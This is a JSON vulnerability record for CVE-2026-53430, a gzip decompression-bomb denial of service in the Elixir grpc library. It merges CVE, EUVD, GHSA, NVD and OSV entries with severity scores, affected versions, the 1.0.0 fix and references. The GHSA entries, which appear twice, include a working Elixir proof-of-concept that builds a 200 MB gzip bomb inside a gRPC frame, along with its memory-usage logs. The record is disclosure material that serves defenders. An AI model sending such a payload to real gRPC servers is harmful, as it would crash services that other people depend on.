{"id":"CVE-2026-53430","aliases":["EEF-CVE-2026-53430","EUVD-2026-37014","GHSA-6ccx-9c9f-327w"],"status":"published","title":"grpc gzip decompression bomb in GRPC.Compressor.Gzip.decompress/1","description":"Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in elixir-grpc grpc (GRPC.Compressor.Gzip, GRPC.Message modules) allows a denial of service via a gzip decompression bomb.\n\nThis vulnerability is associated with program files lib/grpc/compressor/gzip.ex, lib/grpc/message.ex and program routines 'Elixir.GRPC.Compressor.Gzip':decompress/1, 'Elixir.GRPC.Message':from_data/2.\n\n'Elixir.GRPC.Compressor.Gzip':decompress/1 calls :zlib.gunzip/1 directly on attacker-controlled bytes with no decompressed-size limit, ratio check, or incremental decoding. Because this module is the registered gzip GRPC.Compressor implementation, it is invoked automatically whenever an incoming gRPC frame carries the grpc-encoding: gzip header. :zlib.gunzip/1 allocates the entire decompressed result as a single binary, so a small highly compressible payload (for example a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single call. The max_receive_message_length limit is enforced only against the already-decompressed message, so it provides no protection. An unauthenticated remote peer can send a single crafted frame to exhaust the BEAM node's heap and trigger an out-of-memory kill.\n\nThis issue affects grpc: from 0.4.0 before 1.0.0.","severity":{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00433,"percentile":0.37992,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-409"],"published":"2026-06-15T21:55:33Z","modified":"2026-10-28T02:31:12Z","fixes":[{"ecosystem":"Hex","package":"grpc","fixed_in":["1.0.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Hex","package":"grpc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.4.0"},{"fixed":"1.0.0"}]}]},{"source":"osv","ecosystem":"Hex","package":"grpc","ranges":[{"type":"SEMVER","events":[{"introduced":"0.4.0"},{"fixed":"1.0.0"}]}],"versions":["0.10.0","0.10.1","0.10.2","0.11.0","0.11.1","0.11.2","0.11.3","0.11.4","0.11.5","0.5.0","0.5.0-beta","0.5.0-beta.1","0.6.0","0.7.0","0.8.0","0.8.1","0.9.0","1.0.0-rc.1"]},{"source":"osv","ecosystem":"Hex","package":"grpc","ranges":[{"type":"SEMVER","events":[{"introduced":"0.4.0"},{"fixed":"1.0.0"}]}],"versions":["0.10.0","0.10.1","0.10.2","0.11.0","0.11.1","0.11.2","0.11.3","0.11.4","0.11.5","0.5.0","0.5.0-beta","0.5.0-beta.1","0.6.0","0.7.0","0.8.0","0.8.1","0.9.0","1.0.0-rc.1"]}],"products":[{"vendor":"elixir-grpc","product":"grpc"},{"vendor":"google","product":"grpc"}],"references":[{"url":"https://github.com/elixir-grpc/grpc/security/advisories/GHSA-6ccx-9c9f-327w","tags":["vendor-advisory","related","exploit","advisory","web"]},{"url":"https://cna.erlef.org/cves/CVE-2026-53430.html","tags":["related","web"]},{"url":"https://osv.dev/vulnerability/EEF-CVE-2026-53430","tags":["related","web"]},{"url":"https://github.com/elixir-grpc/grpc/commit/1afbab9d57d2a3e16ca9c62ffa4923338ea96cfc","tags":["patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-53430","tags":["advisory"]},{"url":"https://github.com/elixir-grpc/grpc/pull/543","tags":["web"]},{"url":"https://github.com/elixir-grpc/grpc/releases/tag/v1.0.0","tags":["web"]},{"url":"https://github.com/advisories/GHSA-6ccx-9c9f-327w"},{"url":"https://github.com","tags":["web"]},{"url":"https://hex.pm","tags":["web"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/53xxx/CVE-2026-53430.json","tags":["advisory"]},{"url":"https://github.com/elixir-grpc/grpc","tags":["package"]},{"url":"https://hex.pm/packages/grpc","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-53430","title":"grpc gzip decompression bomb in GRPC.Compressor.Gzip.decompress/1","description":"Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in elixir-grpc grpc (GRPC.Compressor.Gzip, GRPC.Message modules) allows a denial of service via a gzip decompression bomb.\n\nThis vulnerability is associated with program files lib/grpc/compressor/gzip.ex, lib/grpc/message.ex and program routines 'Elixir.GRPC.Compressor.Gzip':decompress/1, 'Elixir.GRPC.Message':from_data/2.\n\n'Elixir.GRPC.Compressor.Gzip':decompress/1 calls :zlib.gunzip/1 directly on attacker-controlled bytes with no decompressed-size limit, ratio check, or incremental decoding. Because this module is the registered gzip GRPC.Compressor implementation, it is invoked automatically whenever an incoming gRPC frame carries the grpc-encoding: gzip header. :zlib.gunzip/1 allocates the entire decompressed result as a single binary, so a small highly compressible payload (for example a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single call. The max_receive_message_length limit is enforced only against the already-decompressed message, so it provides no protection. An unauthenticated remote peer can send a single crafted frame to exhaust the BEAM node's heap and trigger an out-of-memory kill.\n\nThis issue affects grpc: from 0.4.0 before 1.0.0.","status":"published","published":"2026-06-15T21:55:33.707Z","modified":"2026-06-17T04:46:39.18Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-409"],"updated_at":"2026-11-02T14:20:00.11477Z"}],"euvd":[{"id":"EUVD-2026-37014","description":"Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in elixir-grpc grpc (GRPC.Compressor.Gzip, GRPC.Message modules) allows a denial of service via a gzip decompression bomb.\n\nThis vulnerability is associated with program files lib/grpc/compressor/gzip.ex, lib/grpc/message.ex and program routines 'Elixir.GRPC.Compressor.Gzip':decompress/1, 'Elixir.GRPC.Message':from_data/2.\n\n'Elixir.GRPC.Compressor.Gzip':decompress/1 calls :zlib.gunzip/1 directly on attacker-controlled bytes with no decompressed-size limit, ratio check, or incremental decoding. Because this module is the registered gzip GRPC.Compressor implementation, it is invoked automatically whenever an incoming gRPC frame carries the grpc-encoding: gzip header. :zlib.gunzip/1 allocates the entire decompressed result as a single binary, so a small highly compressible payload (for example a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single call. The max_receive_message_length limit is enforced only against the already-decompressed message, so it provides no protection. An unauthenticated remote peer can send a single crafted frame to exhaust the BEAM node's heap and trigger an out-of-memory kill.\n\nThis issue affects grpc: from 0.4.0 before 1.0.0.","status":"published","published":"2026-06-15T21:55:33Z","modified":"2026-06-17T04:46:39Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T18:20:39.361111Z"}],"ghsa":[{"id":"GHSA-6ccx-9c9f-327w","title":"gRPC Erlang package has unbounded gzip decompression (decompression bomb)","description":"### Summary\nAn unauthenticated remote peer can crash any gRPC server built on this library by sending a small gzip-compressed frame that decompresses to gigabytes, exhausting the BEAM node's heap and triggering an OOM kill (denial of service).\n\nIntroduced in https://github.com/elixir-grpc/grpc/commit/beae6800fc8baf126f3fe7107d86a50e105275ba\n\n### Details\n`GRPC.Compressor.Gzip.decompress/1` (lib/grpc/compressor/gzip.ex:12-14) calls `:zlib.gunzip/1` directly on attacker-controlled bytes with no size limit, no ratio check, and no incremental decoding. Because this module is registered as a `GRPC.Compressor` implementation, it is invoked automatically whenever an incoming gRPC frame carries `grpc-encoding: gzip`. `:zlib.gunzip/1` allocates the entire decompressed result as a single binary before returning, so a highly compressible payload (e.g. a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single function call. The server's `max_receive_message_length` is enforced only against the already-decompressed message, so it provides no protection here. A single request is sufficient to OOM-kill the node.\n\n### PoC\nA script that verifies the vulnerability is attached to the end of this report. Run it against a stock gRPC server using this library; the BEAM node's memory usage will balloon and the VM will be OOM-killed after a single request.\n\n### Impact\nThis is a decompression bomb / denial-of-service vulnerability. Any service that exposes a gRPC endpoint built on this library and accepts gzip-compressed requests is affected. No authentication, prior state, or special configuration is required — the attacker only needs to be able to reach the gRPC port and send a single crafted frame with `grpc-encoding: gzip`.\n\n## Scripts and Logs\n\n```elixir\n# Verifies: Unbounded gzip decompression (decompression bomb)\n\nMix.install([{:grpc, \"~\u003e 0.9\"}])\n\n# Build a gzip bomb: 200 MB of zeros compresses to roughly a few hundred KB.\nuncompressed_size = 200 * 1024 * 1024\nbomb_payload = :zlib.gzip(:binary.copy(\u003c\u003c0\u003e\u003e, uncompressed_size))\n\n# Wrap the bomb in a gRPC length-prefixed frame with the \"compressed\" flag (1)\n# set. This is the exact wire shape an outside peer would put on the socket\n# for a `grpc-encoding: gzip` message.\nframe =\n  \u003c\u003c1, byte_size(bomb_payload)::unsigned-integer-32, bomb_payload::binary\u003e\u003e\n\nIO.puts(\n  \"Compressed bomb: #{byte_size(bomb_payload)} bytes -\u003e claims to expand to #{uncompressed_size} bytes\"\n)\n\n:erlang.garbage_collect()\nmem_before = :erlang.memory(:total)\nIO.puts(\"Memory before: #{div(mem_before, 1024 * 1024)} MB\")\n\n# Public entry point: GRPC.Message.from_data/2 is what the server's request\n# handling pipeline calls with the raw bytes pulled off an incoming HTTP/2\n# DATA frame, once it has resolved the encoding header to a compressor module.\n# An outside attacker controls `frame`; the library is the trust boundary.\n{:ok, decompressed} =\n  GRPC.Message.from_data(%{compressor: GRPC.Compressor.Gzip}, frame)\n\nmem_after = :erlang.memory(:total)\nIO.puts(\"Memory after:  #{div(mem_after, 1024 * 1024)} MB\")\nIO.puts(\"Delta:         #{div(mem_after - mem_before, 1024 * 1024)} MB\")\nIO.puts(\"Decompressed binary size: #{byte_size(decompressed)} bytes\")\n\namplification = byte_size(decompressed) / byte_size(bomb_payload)\nIO.puts(\"Amplification ratio: ~#{Float.round(amplification, 1)}x\")\n\nif byte_size(decompressed) == uncompressed_size do\n  IO.puts(\n    \"VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~#{div(mem_after - mem_before, 1024 * 1024)} MB from a #{div(byte_size(bomb_payload), 1024)} KB attacker payload.\"\n  )\nelse\n  IO.puts(\"NOT VERIFIED: decompressed size did not match expected payload\")\nend\n```\n\n```logs\nCompressed bomb: 203860 bytes -\u003e claims to expand to 209715200 bytes\nMemory before: 45 MB\nMemory after:  403 MB\nDelta:         358 MB\nDecompressed binary size: 209715200 bytes\nAmplification ratio: ~1028.7x\nVERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~358 MB from a 199 KB attacker payload.\n```","status":"published","published":"2026-08-25T18:12:58Z","modified":"2026-08-25T18:12:58Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-409"],"updated_at":"2026-11-02T14:41:05.994358Z"}],"nvd":[{"id":"CVE-2026-53430","description":"Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in elixir-grpc grpc (GRPC.Compressor.Gzip, GRPC.Message modules) allows a denial of service via a gzip decompression bomb.\n\nThis vulnerability is associated with program files lib/grpc/compressor/gzip.ex, lib/grpc/message.ex and program routines 'Elixir.GRPC.Compressor.Gzip':decompress/1, 'Elixir.GRPC.Message':from_data/2.\n\n'Elixir.GRPC.Compressor.Gzip':decompress/1 calls :zlib.gunzip/1 directly on attacker-controlled bytes with no decompressed-size limit, ratio check, or incremental decoding. Because this module is the registered gzip GRPC.Compressor implementation, it is invoked automatically whenever an incoming gRPC frame carries the grpc-encoding: gzip header. :zlib.gunzip/1 allocates the entire decompressed result as a single binary, so a small highly compressible payload (for example a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single call. The max_receive_message_length limit is enforced only against the already-decompressed message, so it provides no protection. An unauthenticated remote peer can send a single crafted frame to exhaust the BEAM node's heap and trigger an out-of-memory kill.\n\nThis issue affects grpc: from 0.4.0 before 1.0.0.","status":"published","published":"2026-06-15T23:16:46.363Z","modified":"2026-10-25T23:10:00.167Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"}],"cwes":["CWE-409"],"updated_at":"2026-11-02T14:12:24.19758Z"}],"osv":[{"id":"CVE-2026-53430","title":"grpc gzip decompression bomb in GRPC.Compressor.Gzip.decompress/1","description":"Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in elixir-grpc grpc (GRPC.Compressor.Gzip, GRPC.Message modules) allows a denial of service via a gzip decompression bomb.\n\nThis vulnerability is associated with program files lib/grpc/compressor/gzip.ex, lib/grpc/message.ex and program routines 'Elixir.GRPC.Compressor.Gzip':decompress/1, 'Elixir.GRPC.Message':from_data/2.\n\n'Elixir.GRPC.Compressor.Gzip':decompress/1 calls :zlib.gunzip/1 directly on attacker-controlled bytes with no decompressed-size limit, ratio check, or incremental decoding. Because this module is the registered gzip GRPC.Compressor implementation, it is invoked automatically whenever an incoming gRPC frame carries the grpc-encoding: gzip header. :zlib.gunzip/1 allocates the entire decompressed result as a single binary, so a small highly compressible payload (for example a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single call. The max_receive_message_length limit is enforced only against the already-decompressed message, so it provides no protection. An unauthenticated remote peer can send a single crafted frame to exhaust the BEAM node's heap and trigger an out-of-memory kill.\n\nThis issue affects grpc: from 0.4.0 before 1.0.0.","status":"published","published":"2026-06-15T21:55:33.707Z","modified":"2026-10-28T02:31:12.489520132Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-409"],"updated_at":"2026-11-02T15:45:07.787185Z"},{"id":"EEF-CVE-2026-53430","title":"grpc gzip decompression bomb in GRPC.Compressor.Gzip.decompress/1","description":"## Summary\n\nImproper Handling of Highly Compressed Data (Data Amplification) vulnerability in elixir-grpc grpc (GRPC.Compressor.Gzip, GRPC.Message modules) allows a denial of service via a gzip decompression bomb.\n\nThis vulnerability is associated with program files lib/grpc/compressor/gzip.ex, lib/grpc/message.ex and program routines 'Elixir.GRPC.Compressor.Gzip':decompress/1, 'Elixir.GRPC.Message':from\\_data/2.\n\n'Elixir.GRPC.Compressor.Gzip':decompress/1 calls :zlib.gunzip/1 directly on attacker-controlled bytes with no decompressed-size limit, ratio check, or incremental decoding. Because this module is the registered gzip GRPC.Compressor implementation, it is invoked automatically whenever an incoming gRPC frame carries the grpc-encoding: gzip header. :zlib.gunzip/1 allocates the entire decompressed result as a single binary, so a small highly compressible payload (for example a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single call. The max\\_receive\\_message\\_length limit is enforced only against the already-decompressed message, so it provides no protection. An unauthenticated remote peer can send a single crafted frame to exhaust the BEAM node's heap and trigger an out-of-memory kill.\n\nThis issue affects grpc: from 0.4.0 before 1.0.0.","status":"published","published":"2026-06-15T21:55:33.707Z","modified":"2026-08-03T18:23:26.121300563Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-409"],"updated_at":"2026-11-02T15:46:33.520522Z"},{"id":"GHSA-6ccx-9c9f-327w","title":"gRPC Erlang package has unbounded gzip decompression (decompression bomb)","description":"### Summary\nAn unauthenticated remote peer can crash any gRPC server built on this library by sending a small gzip-compressed frame that decompresses to gigabytes, exhausting the BEAM node's heap and triggering an OOM kill (denial of service).\n\nIntroduced in https://github.com/elixir-grpc/grpc/commit/beae6800fc8baf126f3fe7107d86a50e105275ba\n\n### Details\n`GRPC.Compressor.Gzip.decompress/1` (lib/grpc/compressor/gzip.ex:12-14) calls `:zlib.gunzip/1` directly on attacker-controlled bytes with no size limit, no ratio check, and no incremental decoding. Because this module is registered as a `GRPC.Compressor` implementation, it is invoked automatically whenever an incoming gRPC frame carries `grpc-encoding: gzip`. `:zlib.gunzip/1` allocates the entire decompressed result as a single binary before returning, so a highly compressible payload (e.g. a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single function call. The server's `max_receive_message_length` is enforced only against the already-decompressed message, so it provides no protection here. A single request is sufficient to OOM-kill the node.\n\n### PoC\nA script that verifies the vulnerability is attached to the end of this report. Run it against a stock gRPC server using this library; the BEAM node's memory usage will balloon and the VM will be OOM-killed after a single request.\n\n### Impact\nThis is a decompression bomb / denial-of-service vulnerability. Any service that exposes a gRPC endpoint built on this library and accepts gzip-compressed requests is affected. No authentication, prior state, or special configuration is required — the attacker only needs to be able to reach the gRPC port and send a single crafted frame with `grpc-encoding: gzip`.\n\n## Scripts and Logs\n\n```elixir\n# Verifies: Unbounded gzip decompression (decompression bomb)\n\nMix.install([{:grpc, \"~\u003e 0.9\"}])\n\n# Build a gzip bomb: 200 MB of zeros compresses to roughly a few hundred KB.\nuncompressed_size = 200 * 1024 * 1024\nbomb_payload = :zlib.gzip(:binary.copy(\u003c\u003c0\u003e\u003e, uncompressed_size))\n\n# Wrap the bomb in a gRPC length-prefixed frame with the \"compressed\" flag (1)\n# set. This is the exact wire shape an outside peer would put on the socket\n# for a `grpc-encoding: gzip` message.\nframe =\n  \u003c\u003c1, byte_size(bomb_payload)::unsigned-integer-32, bomb_payload::binary\u003e\u003e\n\nIO.puts(\n  \"Compressed bomb: #{byte_size(bomb_payload)} bytes -\u003e claims to expand to #{uncompressed_size} bytes\"\n)\n\n:erlang.garbage_collect()\nmem_before = :erlang.memory(:total)\nIO.puts(\"Memory before: #{div(mem_before, 1024 * 1024)} MB\")\n\n# Public entry point: GRPC.Message.from_data/2 is what the server's request\n# handling pipeline calls with the raw bytes pulled off an incoming HTTP/2\n# DATA frame, once it has resolved the encoding header to a compressor module.\n# An outside attacker controls `frame`; the library is the trust boundary.\n{:ok, decompressed} =\n  GRPC.Message.from_data(%{compressor: GRPC.Compressor.Gzip}, frame)\n\nmem_after = :erlang.memory(:total)\nIO.puts(\"Memory after:  #{div(mem_after, 1024 * 1024)} MB\")\nIO.puts(\"Delta:         #{div(mem_after - mem_before, 1024 * 1024)} MB\")\nIO.puts(\"Decompressed binary size: #{byte_size(decompressed)} bytes\")\n\namplification = byte_size(decompressed) / byte_size(bomb_payload)\nIO.puts(\"Amplification ratio: ~#{Float.round(amplification, 1)}x\")\n\nif byte_size(decompressed) == uncompressed_size do\n  IO.puts(\n    \"VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~#{div(mem_after - mem_before, 1024 * 1024)} MB from a #{div(byte_size(bomb_payload), 1024)} KB attacker payload.\"\n  )\nelse\n  IO.puts(\"NOT VERIFIED: decompressed size did not match expected payload\")\nend\n```\n\n```logs\nCompressed bomb: 203860 bytes -\u003e claims to expand to 209715200 bytes\nMemory before: 45 MB\nMemory after:  403 MB\nDelta:         358 MB\nDecompressed binary size: 209715200 bytes\nAmplification ratio: ~1028.7x\nVERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~358 MB from a 199 KB attacker payload.\n```","status":"published","published":"2026-08-25T18:12:58Z","modified":"2026-08-26T00:57:25.721516816Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-409"],"updated_at":"2026-11-02T15:46:39.618611Z"}]}}